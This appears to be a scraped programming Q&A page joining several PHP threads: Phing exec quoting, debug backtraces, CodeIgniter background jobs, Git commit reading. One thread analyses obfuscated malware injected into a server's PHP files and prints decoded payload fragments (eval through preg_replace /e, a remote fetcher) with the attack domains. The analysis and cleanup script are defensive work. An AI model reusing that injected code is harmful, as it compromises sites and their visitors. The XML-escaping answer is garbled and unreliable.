This is my command I wish to execute.
php -r "apc_clear_cache(); apc_clear_cache('user'); apc_clear_cache('opcode');"
This is my attempt in phing
<exec command='php -r "apc_clear_cache(); apc_clear_cache(\'user\'); apc_clear_cache(\'opcode\');"' outputProperty="result" />
This is what I get
BUILD FAILED
Error reading project file [wrapped: /var/virtual/abc.com/build.xml:171:26: > required]
Total time: 0.2093 seconds
Please advise.
Update:
I solved my problem by writing a bash script called RunApcClearCache.sh that runs
php -r "apc_clear_cache(); apc_clear_cache('user'); apc_clear_cache('opcode');"
and then calling the bash script using ./RunApcClearCache.sh
If there is a better way, I would like to hear it.
I am also disinclined to write a task just for something so straightforward. Surely there must be a way to escape double quotes properly inside a exectask.
Phing requires valid XML.
In valid XML you cannot use " directly inside an attribute.
You need to escape it / use its equivalent entity.
There are five predefined entities:
< represents "<"
> represents ">"
& represents "&"
' represents '
" represents "
Try using the entities and not the characters.
So use " instead of " inside the command attribute...
https://en.wikipedia.org/wiki/XML#Escaping
Try this:
<exec command="php -r 'apc_clear_cache(); apc_clear_cache(\'user\'); apc_clear_cache(\'opcode\');'" outputProperty="result" />
not sure it works
i would create a new task and excute the php code there.
You can also write a new php file and execute this one with php.
I had the same problem. To avoid shell scripts I defined a adhoc task, which maps the corresponding framework functions, e.g.
<adhoc-task name="fileHelper"><![CDATA[
class FileHelper extends Task {
private $lib = null;
private $task = null;
private $stub = null;
function setTask($task) {
$this->task = $task;
}
function setStub($stub) {
$this->stub = $stub;
}
function setLib($lib) {
$this->lib = $lib;
}
function main() {
$task = $this->task;
$this->$task();
}
function generatePharStub() {
include_once $this->lib . '/FileHelper.php';
HTMLBuilder\FileHelper::generatePharStub($this->stub);
}
function generateIncludes() {
include_once $this->lib . '/FileHelper.php';
HTMLBuilder\FileHelper::generateIncludelist();
}
}
]]></adhoc-task>
Can be called the following way:
<fileHelper lib="${lib}" stub="${stub}" task="generateIncludes" />
In my case ${lib} points to the library directory. ${stub} is the generated phar stub file.
Related
The idea here is to create a method for logging and debugging purposes, that doesn't require passing said method the associated 'magic constants'.
Effectively, I'm trying to achieve this using a method definition like so:
function Debug($Message,$File=__FILE__,$Line=__LINE__)
{
...
}
The problem I am running in to is that if I define the above method in a file other than the one I am 'debugging', I end up with the file and line from the file the method is defined in, rather than the one I am 'debugging'.
Consider the following set of files:
Debugging.php
<?
function Debug($Message,$File=__FILE__,$Line=__LINE__)
{
echo("$File ( $Line ) :: $Message");
}
?>
Testing.php
<?
Debug("Some message");
?>
Output:
Debugging.php ( 1 ) :: Some message
When the invocation of the message occurred in the second file - which, as should be clear by this point, isn't the intended implementation. I could of course pass the 'Debug' method those magic constants at the time of invocation, but I'm looking to eliminate unnecessary code if possible.
You would use the function debug_backtrace like so.
function Debug($Message)
{
$backtrace = debug_backtrace();
echo($backtrace[0]['file'] .'(' . $backtrace[0]['line'] . ') :: ' . $Message);
}
I'm developing an iOS app and I need to call to a web developed with CodeIgniter. The problem is that I have the response very quickly, but then I need to do some actions with it in CodeIgniter.
How can I do it in background?
My code is something like this:
$data = json_decode($response);
echo $response;
//Data has around 100 rows
foreach ($data as $info)
{
//Database inserts and updates
}
If I comment the foreach, it works perfect, but with it, it takes a lot of time.
I don't want to speed up database, because that's not the problem... what really takes time its what i need to do with my data...
you can try something like below,
class Proc_test extends CI_Controller
{
public function index()
{
echo "Proc_text::Index is called at ".$this->rightnow()."<br>";
$param = 5000000;
$command = "php ".FCPATH."index.php tools proc1 $param > /dev/null &";
exec($command);
$command = "php ".FCPATH."index.php tools proc2 $param > /dev/null &";
echo "Proc_text::Index is done at ".$this->rightnow()."<br>";
}
//a helper to give time of day with microseconds
public function rightnow()
{
$time = microtime(true);
$micro_time = sprintf("%06d", ($time - floor($time)) * 1000000);
$date = new DateTime(date('Y-m-d H:i:s.'.$micro_time, $time));
return $date->format("H:i:s.u");
}
}
Here background command executes as per below example.
$command = "php ".FCPATH."index.php tools proc1 $param > /dev/null &";
It's basically a cli command which follows this form
"php absolute/path/to/codeigniter/index.php controller method argument_1 argument_2 argument_n > pipe to null statement".
Ref. Url : https://forum.codeigniter.com/thread-67870.html
You can solve this issue in two ways.
Create a cronjob to do the time consuming task in the main method you just need to add an enrty to a job table to the post processing after sending the response. So reponse will not wait until all the processing is completed. Also you can schedule the cronjob time as you need depend on the urgency of the post processing and server load.
You can use CodeIgniter hook function to do the processing after sending the response to the caller. The hook method will be "post_system" Read more about it at https://ellislab.com/codeigniter/user-guide/general/hooks.html
Couple days ago I gave noticed that almost all php files on my server are infected with some encrypted code and in almost every file is different. Here is the example from one of the files:
http://pastebin.com/JtkNya5m
Can anybody tell me what this code do or how to decode it?
You can calculate the values of some of the variables, and begin to get your bearings.
$vmksmhmfuh = 'preg_replace'; //substr($qbrqftrrvx, (44195 - 34082), (45 - 33));
preg_replace('/(.*)/e', $viwdamxcpm, null); // Calls the function wgcdoznijh() $vmksmhmfuh($ywsictklpo, $viwdamxcpm, NULL);
So the initial purpose is to call the wgcdonznijh() function with the payloads in the script, this is done by way of an embedded function call in the pre_replace subject the /e in the expression.
/* aviewwjaxj */ eval(str_replace(chr((257-220)), chr((483-391)), wgcdoznijh($tbjmmtszkv,$qbrqftrrvx))); /* ptnsmypopp */
If you hex decode the result of that you will be just about here:
if ((function_exists("ob_start") && (!isset($GLOBALS["anuna"])))) {
$GLOBALS["anuna"] = 1;
function fjfgg($n)
{
return chr(ord($n) - 1);
}
#error_reporting(0);
preg_replace("/(.*)/e", "eval(implode(array_map("fjfgg",str_split("\x25u:f!>!(\x25\x78:!> ...
The above is truncated, but you have another payload as the subject of the new preg_replace function. Again due to e it has the potential to execute.
and it is using the callback on array_map to further decode the payload which passed to the eval.
The pay load for eval looks like this (hex decoded):
$t9e = '$w9 ="/(.*)/e";$v9 = #5656}5;Bv5;oc$v5Y5;-4_g#&oc$5;oc$v5Y5;-3_g#&oc$5;oc$v5Y5;-2_g#&oc$5;oc$v5Y5;-1_g#&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW#5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW#5{6))086,1pi$6,J(tcennocW#!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW#&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi#(pi2gnol#&2pi$5;)X$(emanybXteg#&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap#6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi#&%5;-elif#&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z#&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg# nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe#=1a$ ;)po$,)-$(dtg#(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45#9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *# = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W#Y#RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|#:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W#; $syv= "eval(str_replace(array"; $siv = "str_replace";$slv = "strrev";$s1v="create_function"; $svv = #//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46x.x?x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x$1\d6x\"=m$;"261'x1x.1x\"=r$;"351xa\07x\"=p$;"651.x%1x&1x\"=l$9{9)q$9,s$(2ne9noitcnuf;}#; $n9 = #1067|416|779|223|361#; $ll = "preg_replace"; $ee1 = array(#\14#,#, $#,#) { #,#[$i]#,#substr($#,#a = $xx("|","#,#,strpos($y,"9")#,# = str_replace($#,#x3#,#\x7#,#\15#,#;$i++) {#,#function #,#x6#,#); #,#for($i=0;$i
Which looks truncated ...
That is far as I have time for, but if you wanted to continue you may find the following url useful.
http://ddecode.com/
Good luck
I found the same code in a Wordpress instance and wrote a short script to remove it of all files:
$directory = new RecursiveDirectoryIterator(dirname(__FILE__));
$iterator = new RecursiveIteratorIterator($directory);
foreach ($iterator as $filename => $cur)
{
$contents = file_get_contents($filename);
if (strpos($contents, 'tngmufxact') !== false && strlen($contents) > 13200 && strpos($contents, '?>', 13200) == 13278) {
echo $filename.PHP_EOL;
file_put_contents($filename, substr($contents, 13280));
}
}
Just change the string 'tngmufxact' to your obfuscated version and everything will be removed automatically.
Maybe the length of the obfuscated string will differ - don't test this in your live environment!
Be sure to backup your files before executing this!
I've decoded this script and it is (except the obfuscation) exactly the same as this one: Magento Website Hacked - encryption code in all php files
The URL's inside are the same too:
33db9538.com
9507c4e8.com
e5b57288.com
54dfa1cb.com
If you are unsure/inexperienced don't try to execute or decode the code yourself, but get professional help.
Besides that: the decoding was done manually by picking the code pieces and partially executing them (inside a virtual machine - just in case something bad happens).
So basically I've repeated this over and over:
echo the hex strings to get the plain text (to find out which functions get used)
always replace eval with echo
always replace preg_replace("/(.*)/e", ...) with echo(preg_replace("/(.*)/", ...))
The e at the end of the regular expression means evaluate (like the php function eval), so don't forget to remove that too.
In the end you have a few function definitions and one of them gets invoked via ob_start.
My problem is I set an array value to the name of a server as follow:
$appserver[$i]=`grep $ip[2] /etc/hosts |awk '{print $2}'`;
Later I do a test to see if the server is up or not (using a wget).
If the test fails I keep track of that server being down by creating a file with that
name using touch:
$touch=`touch /home/steve/data/$appserver[$i];
The file gets created successfully.
Later when I go to test whether or not the file exists it never evaluates to true.
if(file_exists('/home/steve/data/$appserver[$i])) {
I have tried several different things including creating a new variable for
$appserver[$i] and testing against it, which also does not work:
I am running php 5.1.6 on RHEL 5.
Here is the full code:
$appserver[$i]=`grep $ip[2] /etc/hosts |awk '{print $2}'`;
echo "appserver[i] = $appserver[$i]\n";
$get=`wget $key->url 2> /dev/null`;
if(file_exists('/home/user/Start')) {
$color[$i]="green";
$rm=`rm -rf /home/user/Start`;
}
else {
$color[$i]="red";
if($hostname=="xxxxx" ) {
**if(file_exists('/home/user/data/$appserver[$i]))** {**
echo "do nothing appserver file exists\n";
$touch=`touch /home/steve/data/notmailed`;
}
else {
echo "No app file mailed alert\n";
$touch=`touch /home/user/data/$appserver[$i]`;
}
}
}
Thank you.
It should be:
if(file_exists("/home/steve/data/$appserver[$i]")) {
if(file_exists('/home/steve/data/$appserver[$i]')) {
' quoted strings do not interpolate variable values, so you're looking for a file whose literal name is $appserver[$i]. Use " quotes instead:
if(file_exists("/home/steve/data/$appserver[$i]")) {
Try this:
$appserver[$i] = "grep $ip[2] /etc/hosts |awk '{print $2}'";
//...
if(file_exists("/home/steve/data/$appserver[$i]"))
{
//...
}
Ensure that you use double-qoutes (") whereever you want the content of variables parsed into the declared string!
I'm looking for a way to read a Git commit message with PHP. I suspect I need to use a Git hook, but I've never worked with them before, so I need a push in the right direction. Specifically, I'd like to implement the following process:
A PHP script is executed automatically after every commit
The script captures the Git username, the time of the commit, and the commit content
If at all possible, I'd like to stick with pure PHP. If there are tutorials or references that you could point out, that would be a huge help.
To get the commit hash, you can use
git rev-parse --verify HEAD 2> /dev/null
From within php:
exec('git rev-parse --verify HEAD 2> /dev/null', $output);
$hash = $output[0];
You can get the commit message, author and time (though - the time will simply be "now" if it's run as part of a post-commit hook) with:
exec("git show $hash", $output);
If it's not obvious, whatever you do with php is simply going to be a wrapper around the things you'd do with git on the cli - I.e. any "how can I do x with git from php" is just exec('the git answer', $output)
As far as using PHP to extract the correct commit:
Indefero
There is a project called Indefero that is a PHP forge tool that has an SCM connector for git. You could easily use their git class as an API for yourself. You can just grab the git class and the SCM class.
I have, for example, pulled out two methods from the class below, which I think are the most relevant to you so you can see how they work.
Get a changelog list: getChangeLog()
/**
* Get latest changes.
*
* #param string Commit ('HEAD').
* #param int Number of changes (10).
* #return array Changes.
*/
public function getChangeLog($commit='HEAD', $n=10)
{
if ($n === null) $n = '';
else $n = ' -'.$n;
$cmd = sprintf('GIT_DIR=%s '.Pluf::f('git_path', 'git').' log%s --date=iso --pretty=format:\'%s\' %s',
escapeshellarg($this->repo), $n, $this->mediumtree_fmt,
escapeshellarg($commit));
$out = array();
$cmd = Pluf::f('idf_exec_cmd_prefix', '').$cmd;
self::exec('IDF_Scm_Git::getChangeLog', $cmd, $out);
return self::parseLog($out);
}
Get a particular commit: getCommit()
/**
* Get commit details.
*
* #param string Commit
* #param bool Get commit diff (false)
* #return array Changes
*/
public function getCommit($commit, $getdiff=false)
{
if ($getdiff) {
$cmd = sprintf('GIT_DIR=%s '.Pluf::f('git_path', 'git').' show --date=iso --pretty=format:%s %s',
escapeshellarg($this->repo),
"'".$this->mediumtree_fmt."'",
escapeshellarg($commit));
} else {
$cmd = sprintf('GIT_DIR=%s '.Pluf::f('git_path', 'git').' log -1 --date=iso --pretty=format:%s %s',
escapeshellarg($this->repo),
"'".$this->mediumtree_fmt."'",
escapeshellarg($commit));
}
$out = array();
$cmd = Pluf::f('idf_exec_cmd_prefix', '').$cmd;
self::exec('IDF_Scm_Git::getCommit', $cmd, $out, $ret);
if ($ret != 0 or count($out) == 0) {
return false;
}
if ($getdiff) {
$log = array();
$change = array();
$inchange = false;
foreach ($out as $line) {
if (!$inchange and 0 === strpos($line, 'diff --git a')) {
$inchange = true;
}
if ($inchange) {
$change[] = $line;
} else {
$log[] = $line;
}
}
$out = self::parseLog($log);
$out[0]->diff = implode("\n", $change);
} else {
$out = self::parseLog($out);
$out[0]->diff = '';
}
$out[0]->branch = implode(', ', $this->inBranches($commit, null));
return $out[0];
}
VersionControl_Git from PEAR
There is also a library in PEAR called VersionControl_Git that would be helpful in this situation and is documented.
As #Pawel mentioned, you're going to want to work with hooks on this:
On localhost you can navigate to /.git/hooks and rename
post-commit.sample to post-commit and then put inside #!/usr/bin/php
There are also other hooks that may be more
suitable for you.
Git will look for the post-commit hook after you've commit and automatically run anything inside.
What you're going to want to do here depends on the task, but I'd suggest curling the script - here's where things get interesting.
In order to extract the information you're looking for, you're going to want to use git log -1 - that should pull back the latest commit.
More specifically, you'll want to build your commit using the --pretty=format toggle, which can output the latest commit with the info you need. Check out this string:
git log -1 --pretty=format:'%h - %cn (%ce) - %s (%ci)'
This would return most of the things you are looking for. Check out the git-log page to see all of the different % variables that you can use with --pretty=format:. Once you've made the string that you'd like, you can either POST those via cURL to a PHP script, or run a PHP script and use shell_exec(git log -1 --pretty=format:'%h - %cn (%ce) - %s (%ci)') to work with the commit message inline.
I was digging in the same question and found out a way to do it faster and easier.
To get just the commit message you could use
git rev-list --format=%B --max-count=1 HEAD
Obviously HEAD may be replaced with any commit hash.
It will output something like
commit 4152601a42270440ad52680ac7c66ba87a506174
Improved migrations and models relations
Second line is what you need.